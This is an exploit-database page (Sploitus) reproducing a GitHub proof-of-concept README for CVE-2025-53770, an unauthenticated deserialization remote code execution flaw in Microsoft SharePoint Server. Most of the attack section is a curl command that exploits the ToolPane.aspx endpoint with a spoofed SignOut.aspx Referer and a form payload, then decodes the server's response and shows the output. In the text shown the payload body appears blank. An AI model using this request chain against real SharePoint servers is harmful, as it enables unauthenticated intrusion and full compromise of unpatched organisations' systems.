Sploitus

Exploit for Deserialization of Untrusted Data in Microsoft

githubexploit Β· 2025-07-22

Exploit Code

README64 lines
## https://sploitus.com/exploit?id=3F800493-69A8-5049-B320-320659E9F447
# CVE-2025-53770 SharePoint Deserialization RCE PoC

> **Critical** β€” Unauthenticated Remote Code Execution via unsafe deserialization in Microsoft SharePoint Server (CVE-2025-53770)

## Description

Deserialization of untrusted data in on-premises Microsoft SharePoint Server allows an attacker to execute code remotely and compromise the system. Microsoft is aware of active exploitation and is preparing a comprehensive update. Ensure mitigations from CVE documentation are in place.

- **Impact**: Unauthenticated attackers can achieve remote code execution, leading to full system compromise.
- **Severity**: Critical

## Proof of Concept

The following PoC demonstrates how an attacker can exploit the vulnerability to extract and decode malicious payloads via the vulnerable endpoint.

**Target domain is intentionally replaced with `reeaccated.com`.**

### Command

```bash
curl -sk -X POST 'https://reeaccated.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx' \
  -H 'Referer: /_layouts/SignOut.aspx' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'MSOTlPn_Uri=https://reeaccated.com' \
  --data-urlencode 'MSOTlPn_DWP=



  
    
      
    
  
' \
| grep -oP 'CompressedDataTable="\K[^&]+(?=")' \
| base64 -d 2>/dev/null \
| gzip -d 2>/dev/null \
| tee /tmp/sharepoint_decoded_payload.txt \
| grep -Ei 'IntruderScannerDetectionPayload|ExcelDataSet|divWaiting|ProgressTemplate|Scorecard'
```

### Output

```
IntruderScannerDetectionPayload
```





## References

- [Test Payload Implementation](https://github.com/hazcod/CVE-2025-53770/blob/main/pkg/payload/test_payload.go)
- [Code White Security Analysis](https://x.com/codewhitesec/status/1944743478350557232)
- [Microsoft Guidance](https://msrc.microsoft.com/blog/2025/07/customer-guidance-for-sharepoint-vulnerability-cve-2025-53770/)
- [NVD Entry](https://nvd.nist.gov/vuln/detail/CVE-2025-53770)

---


**Impact:**  
Unauthenticated attackers can exploit unsafe deserialization to achieve remote code execution on SharePoint Server, leading to full system compromise.